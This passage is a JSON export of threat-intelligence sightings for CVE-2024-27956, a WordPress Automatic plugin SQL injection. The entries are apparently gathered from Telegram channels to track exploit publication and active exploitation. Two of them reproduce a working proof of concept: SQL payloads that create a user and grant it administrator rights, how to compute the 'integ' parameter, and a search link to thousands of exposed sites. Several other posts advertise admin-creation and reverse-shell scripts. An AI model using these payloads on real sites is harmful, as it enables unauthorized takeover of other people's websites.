"sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/4904", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a6a3ee76-1d96-4c1e-a33e-febb08589c41", "content": "#ExploitObserverAlert\n\nCVE-2024-27956\n\nDESCRIPTION: Exploit Observer has 12 entries in 6 file formats related to CVE-2024-27956. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ValvePress Automatic allows SQL Injection.This issue affects Automatic: from n/a through 3.92.0.\n\nFIRST-EPSS: 0.000500000\nARPS-PRIORITY: 0.9620892", "url": "https://t.me/arpsyndicate/4904"}, {"timestamp": "2024-05-03T12:44:40Z", "date_only": false, "value": "2024-05-03T12:44:40.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7206", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c044c3d0-c2fc-4ada-93d5-a2e4f3d4304a", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aPoC for SQL Injection in CVE-2024-27956\nURL\uff1ahttps://github.com/blue0x1/mobilemouse-exploit\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/7206", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-03T16:20:49Z", "date_only": false, "value": "2024-05-03T16:20:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7208", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "92d28705-5294-49ea-a7cd-d9cad56e6e65", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-27956 WORDPRESS RCE PLUGIN\nURL\uff1ahttps://github.com/X-Projetion/CVE-2024-27956-WORDPRESS-RCE-PLUGIN\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7208", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-03T23:32:23Z", "date_only": false, "value": "2024-05-03T23:32:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7209", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "358efb30-09d5-4e59-be36-3aec7cb75f60", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-27956 WORDPRESS RCE PLUGIN\nURL\uff1ahttps://github.com/gotr00t0day/CVE-2024-4040\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7209", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-05T19:29:34Z", "date_only": false, "value": "2024-05-05T19:29:34.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/4928", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e408519f-8bc6-43b4-8a62-134de0424139", "content": "#ExploitObserverAlert\n\nCVE-2024-27956\n\nDESCRIPTION: Exploit Observer has 21 entries in 7 file formats related to CVE-2024-27956. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ValvePress Automatic allows SQL Injection.This issue affects Automatic: from n/a through 3.92.0.\n\nFIRST-EPSS: 0.000500000\nARPS-PRIORITY: 0.95083", "url": "https://t.me/arpsyndicate/4928"}, {"timestamp": "2024-05-06T20:27:07Z", "date_only": false, "value": "2024-05-06T20:27:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/leak_db2/1898", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "48cd9962-3a67-46c6-9d1e-b6bf8ee3c687", "content": "PoC for SQL Injection leads to RCE in Wordpress released (CVE-2024-27956)", "url": "https://t.me/leak_db2/1898", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-07T10:09:15Z", "date_only": false, "value": "2024-05-07T10:09:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7240", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6194a381-8b79-4839-9a3e-5fb8f9d946c2", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-27956\nURL\uff1ahttps://github.com/k3ppf0r/CVE-2024-27956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7240", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-07T13:46:26Z", "date_only": false, "value": "2024-05-07T13:46:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DARK_SPOT_TEAM/236", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "0e42c79a-eda6-4f72-bd60-a06adb5c2750", "content": "\ud83d\udc69\u200d\ud83d\udcbb PoC for WordPress Automatic Plugin CVE-2024-27956 (Unauthenticated Arbitrary SQL Execution) (CVSS 9.9)\n\nSince \"q\" is passed directly into a $wpdb->get_results() call, you can execute SQL commands directly. \n\nAdding a new WordPress user:\nq=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28\n\nGiving the user admin rights:\nq=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c\n\nPWNED!\n\nNote: Param \"integ\" is the md5sum of the query.\n\n6K+ Services are found: https://hunter.how/list?searchValue=web.body%3D%22wp-content%2Fplugins%2Fwp-automatic%22\n\nTweet: https://x.com/mrtuxracer/status/1784229071460692232?s=12", "url": "https://t.me/DARK_SPOT_TEAM/236", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-07T13:46:26Z", "date_only": false, "value": "2024-05-07T13:46:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/qnNP2u5GNU2VjSvWEkHSV60yRxN8A0gKZ9jltvu_fzrv", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "20c7d97b-e1c3-490e-bcd6-aff890d1256b", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-13T11:52:53Z", "date_only": false, "value": "2024-05-13T11:52:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7290", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9a49a8c1-ef1f-490b-b0f1-af0d31684d83", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-27956 RCE POC WordPress\nURL\uff1ahttps://github.com/nancyariah4/CVE-2024-27956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7290", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-14T04:26:53Z", "date_only": false, "value": "2024-05-14T04:26:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ap_security/550", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a3e55e38-c704-49f4-844c-c0fb63baf47f", "content": "#cve #exploit #poc\n\n\ud83d\udc89CVE-2024-27956: WordPress RCE\n\nPoC \u0434\u043b\u044f CVE-2024-27956, SQL Injection \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 ValvePress Automatic. \u0414\u0430\u043d\u043d\u044b\u0439 PoC \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0435\u043c\u0443 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u0421\u0442\u0430\u0442\u0443\u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 Wordpress \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430\n\n\ud83d\udc31GitHub", "url": "https://t.me/ap_security/550", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-14T14:31:32Z", "date_only": false, "value": "2024-05-14T14:31:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/7303", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "93b95411-7cc5-49b3-8e3d-0f188bd27c52", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-27804\nURL\uff1ahttps://github.com/AiGptCode/WordPress-Admin-Account-and-Reverse-Shell-cve-2024-27956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7303"}, {"timestamp": "2024-05-14T14:36:44Z", "date_only": false, "value": "2024-05-14T14:36:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7304", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f75bed8a-ea7d-466f-abbb-4675cff3cf5d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-27804\nURL\uff1ahttps://github.com/AiGptCode/WordPress-Auto-Admin-Account-and-Reverse-Shell-cve-2024-27956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7304", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-14T17:21:50Z", "date_only": false, "value": "2024-05-14T17:21:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/262", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "48a6d701-a87a-4817-8faa-b5b4163f8e60", "content": "\ud83d\udea8POC RELEASED\ud83d\udea8PoC for WordPress Auto Admin Account Creation and Reverse Shell CVE-2024-27956. GitHub in X Link.\n\n#DarkWeb #Cybersecurity #Security #Cyberattack #Cybercrime #Privacy #Infosec #Exploit #Wordpress #CVE202427956\n\nDetails:\n\nThis Python script automates the process of creating a new administrator account in a WordPress site and executing a reverse shell on the target server. It utilizes the wp-automatic plugin's CSV injection vulnerability to execute SQL queries on the WordPress database and gain administrative access.\n\nX Link: https://twitter.com/DarkWebInformer/status/1790400822511280334", "url": "https://t.me/TheDarkWebInformer/262", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-14T23:01:31Z", "date_only": false, "value": "2024-05-14T23:01:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/2079", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "cc342609-e3f7-4a06-99d5-2cb0464fd095", "content": "cve-2024-27956\n*\nWordPress Auto Admin Account Creation and Reverse Shell.\n*\n\u0414\u044b\u0440\u043a\u0430 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 wp-automatic \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n#wordpress", "url": "https://t.me/proxy_bar/2079", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-15T02:09:31Z", "date_only": false, "value": "2024-05-15T02:09:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Hunt3rkill3rs1/200", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9216d01a-94b3-49c0-a554-dc2b85df2f2a", "content": "cve-2024-27956\n\n\nWordPress Auto Admin Account Creation and Reverse Shell.\n\n\n\u0414\u044b\u0440\u043a\u0430 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 wp-automatic \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "url": "https://t.me/Hunt3rkill3rs1/200", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-15T05:13:12Z", "date_only": false, "value": "2024-05-15T05:13:12.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hitshare/1417", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f7a83088-b6e2-4753-953b-e89bfedf8432", "content": "cve-2024-27956\n*\nWordPress Auto Admin Account Creation and Reverse Shell.\n*\n\u0414\u044b\u0440\u043a\u0430 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 wp-automatic \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n#wordpress", "url": "https://t.me/hitshare/1417", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-15T08:13:30Z", "date_only": false, "value": "2024-05-15T08:13:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/lostsec/503", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "96d77e5f-ebf5-4df2-bab1-23c84b208092", "content": "https://github.com/AiGptCode/WordPress-Auto-Admin-Account-and-Reverse-Shell-cve-2024-27956", "url": "https://t.me/lostsec/503", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-15T19:43:21Z", "date_only": false, "value": "2024-05-15T19:43:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerOne/3655", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "34674cbe-5708-400c-b4ea-f883c843b2eb", "content": "https://github.com/AiGptCode/WordPress-Auto-Admin-Account-and-Reverse-Shell-cve-2024-27956", "url": "https://t.me/HackerOne/3655", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-16T23:12:51Z", "date_only": false, "value": "2024-05-16T23:12:51.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MrVGunz/1118", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6229641f-d9e8-4443-8594-f2d324a08939", "content": "\u26a0\ufe0f \u062a\u0648\u062c\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648\u0631\u062f\u067e\u0631\u0633!\n\n\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062d\u06cc\u0627\u062a\u06cc SQL injection (CVE-2024-27956) \u062f\u0631 \u0627\u0641\u0632\u0648\u0646\u0647 WP-Automatic \u062f\u0631 \u062d\u0627\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0641\u0639\u0627\u0644 \u0627\u0633\u062a. \u0628\u0627 \u0634\u062f\u062a \u062d\u062f\u0627\u06a9\u062b\u0631\u06cc 9.9 \u0627\u0632 10\u060c \u0627\u06cc\u0646 \u0628\u0627\u06af \u0627\u0645\u06a9\u0627\u0646 \u062a\u0635\u0631\u0641 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0648 \u0641\u0639\u0627\u0644\u06cc\u062a\u200c\u0647\u0627\u06cc \u062e\u0628\u06cc\u062b \u0631\u0627 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\u062c\u0632\u0626\u06cc\u0627\u062a: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html\n\u0627\u0633\u062a\u0641\u0627\u062f\u0647: https://github.com/diego-tella/CVE-2024-27956-RCE\n\n\ud83d\udea8 Attention WordPress users! \n \nA critical SQL injection vulnerability (CVE-2024-27956) in the WP-Automatic plugin is being actively exploited. With a max severity of 9.9/10, this bug enables site takeovers and malicious activities.\nDetails: https://thehackernews.com/2024/04/hackers-exploiting-wp-automatic-plugin.html\nExploit: https://github.com/diego-tella/CVE-2024-27956-RCE", "url": "https://t.me/MrVGunz/1118", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-17T14:12:08Z", "date_only": false, "value": "2024-05-17T14:12:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CivilityBreaches/65", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "7b89d86a-532c-491d-981a-190091b7e732", "content": "cve-2024-27956\n*\nWordPress Auto Admin Account Creation and Reverse Shell.\n*\n\u0414\u044b\u0440\u043a\u0430 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 wp-automatic \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n#wordpress", "url": "https://t.me/CivilityBreaches/65", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-17T16:28:22Z", "date_only": false, "value": "2024-05-17T16:28:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/TheDarkWebInformer/291", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "722b9a70-1817-483d-9b69-150c743cf84a", "content": "\ud83d\udea8POC RELEASED\ud83d\udea8WordPress Auto Admin Account Creation & Reverse Shell CVE-2024-27956 automates the process of creating a new administrator account in a WordPress site and executing a reverse shell on the target server. \n\nhttps://github.com/AiGptCode/WordPress-Auto-Admin-Account-and-Reverse-Shell-cve-2024-27956\n\n#DarkWeb #Cybersecurity #Security #Cyberattack #Cybercrime #Privacy #Infosec #Exploit #CVE202427956 \n\nhttps://x.com/DarkWebInformer/status/1791474570509070439", "url": "https://t.me/TheDarkWebInformer/291", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-05-18T06:34:54Z", "date_only": false, "value": "2024-05-18T06:34:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Akhand_Aryavart/1271289", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9304ce61-970a-4b63-99ba-4e543e04618c", "content": "(cve-2024-27956) - WordPress Admin Account Creation and Reverse Shell \n\nWordPress Auto Admin Account Creation and Reverse Shell cve-2024-27956 automates the process of creating a new administrator account in a WordPress site and executing a reverse shell on the target server. It utilizes the wp-automatic plugin's CSV injection vulnerability to execute SQL queries\n\nGithub\n\nhttps://t.me/pythagorez", "url": "https://t.me/Akhand_Aryavart/1271289", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-13T02:09:17Z", "date_only": false, "value": "2024-06-13T02:09:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7634", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "399f4577-b58a-4b38-ad2c-15a1a7f3b395", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aValve Press - CVE-2024-27956-RCE - SQL Injection\nURL\uff1ahttps://github.com/TadashiJei/Valve-Press-CVE-2024-27956-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7634", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-13T06:56:04Z", "date_only": false, "value": "2024-06-13T06:56:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/paiddpam/2939", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2aa4e3e0-bfb2-490f-aa1d-b6099fd5a407", "content": "\ud83d\udc69\u200d\ud83d\udcbb PoC for WordPress Automatic Plugin CVE-2024-27956 (Unauthenticated Arbitrary SQL Execution) (CVSS 9.9)\n\nSince \"q\" is passed directly into a $wpdb->get_results() call, you can execute SQL commands directly. \n\nAdding a new WordPress user:\nq=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) VALUES ('poc', MD5('poc'), 'poc', 'poc@localhost.org', NOW(), 0);&auth=%20&integ=5be638728303f002fd54450e5866dd28\nGiving the user admin rights:\nq=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (6, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}'), (6, 'wp_user_level', '10');&auth=%20&integ=6ed26ea278413ec91e2c27fed01eac6c\nPWNED!\n\nNote: Param \"integ\" is the md5sum of the query.\n\n6K+ Services are found: https://hunter.how/list?searchValue=web.body%3D%22wp-content%2Fplugins%2Fwp-automatic%22\n\nTweet: https://x.com/mrtuxracer/status/1784229071460692232?s=12", "url": "https://t.me/paiddpam/2939", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:20:33Z", "date_only": false, "value": "2024-06-17T12:20:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/6747", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9cdbb916-4c63-4a91-9a0b-7345f330a480", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/GrayHatsHack/6747", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:20:33Z", "date_only": false, "value": "2024-06-17T12:20:33.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/7980", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a825e6b3-1d79-4736-8cf2-a56ad0c1d3c4", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/GrayHatsHack/7980", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:20:47Z", "date_only": false, "value": "2024-06-17T12:20:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GhostPrincess/14769", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5131f63a-859b-4c7f-94a1-648dc7b7eea1", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/GhostPrincess/14769", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:21:17Z", "date_only": false, "value": "2024-06-17T12:21:17.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/GhostClanInt/25072", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8b925b7c-7f90-439c-8c73-da1759712858", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/GhostClanInt/25072", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:39:44Z", "date_only": false, "value": "2024-06-17T12:39:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/lcmysecteamch/4801", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "650cb4f8-77fe-4a30-98f6-5cbc786381e3", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/lcmysecteamch/4801", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:39:44Z", "date_only": false, "value": "2024-06-17T12:39:44.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/lcmysecteamch/8061", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5d52dd3e-c774-477d-8a29-3681326998d2", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/lcmysecteamch/8061", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-17T12:57:35Z", "date_only": false, "value": "2024-06-17T12:57:35.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dilagrafie/3292", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b48577d7-9199-4673-84c1-cb8ec4dcf58e", "content": "POC RELEASED\nPoC for #SQL injection leads to RCE in Wordpress released (CVE-2024-27956).\n\nHackers Factory\nhttps://t.me/dilagrafie", "url": "https://t.me/dilagrafie/3292", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-06-21T06:54:05Z", "date_only": false, "value": "2024-06-21T06:54:05.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Gc1XHJyHAM5Pifcqvb3cxcWiyC051Kb7bw1lbriDtYRZVXU", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "ccbb5a74-c2dd-4049-8a94-c95956488a10", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-04T13:40:01Z", "date_only": false, "value": "2024-07-04T13:40:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerOne/3656", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "d4fea5b2-72e3-463c-a6dd-88d5c71ea02b", "content": "https://github.com/truonghuuphuc/CVE-2024-27956", "url": "https://t.me/HackerOne/3656", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-11T14:21:47Z", "date_only": false, "value": "2024-07-11T14:21:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/7948", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "ace047e0-340c-4f5f-a189-3a19b3a982be", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPerform with massive Wordpress SQLI 2 RCE\nURL\uff1ahttps://github.com/ThatNotEasy/CVE-2024-27956\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/7948", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-11T16:21:10Z", "date_only": false, "value": "2024-07-11T16:21:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/blackcybersec/85", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1776ffa5-9c66-4765-a13a-b9fcf4866e13", "content": "https://github.com/ThatNotEasy/CVE-2024-27956", "url": "https://t.me/blackcybersec/85", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-11T18:57:32Z", "date_only": false, "value": "2024-07-11T18:57:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/paiddpam/3497", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "398cb0ba-6497-4d48-9435-e423637d8a24", "content": "https://github.com/ThatNotEasy/CVE-2024-27956", "url": "https://t.me/paiddpam/3497", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-13T07:28:54Z", "date_only": false, "value": "2024-07-13T07:28:54.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CNArsenal/2781", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "899d6143-23bf-4036-bab1-aad1288b0664", "content": "https://github.com/ThatNotEasy/CVE-2024-27956\n\nPerform with massive Wordpress SQLI 2 RCE\n#github", "url": "https://t.me/CNArsenal/2781", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2024-07-14T02:46:52Z", "date_only": false, "value": "2024-07-14T02:46:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDilara/396", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "24012256-64ec-447f-bfe6-ae45b781ba18", "content": "Tools - Hackers Factory \n\nExploit \n\n1. CVE-2024-36991:\nSplunk Enterprise Path traversal\nhttps://github.com/bigb0x/CVE-2024-36991\n\n2. CVE-2024-22274:\nRCE in VMware vCenter Server\nhttps://github.com/mbadanoiu/CVE-2024-22274\n\n3. CVE-2024-36401:\nGeoServer Unauth RCE\nhttps://github.com/bigb0x/CVE-2024-36401\n\nGitHub - payloadbox/sql-injection-payload-list: SQL Injection Payload 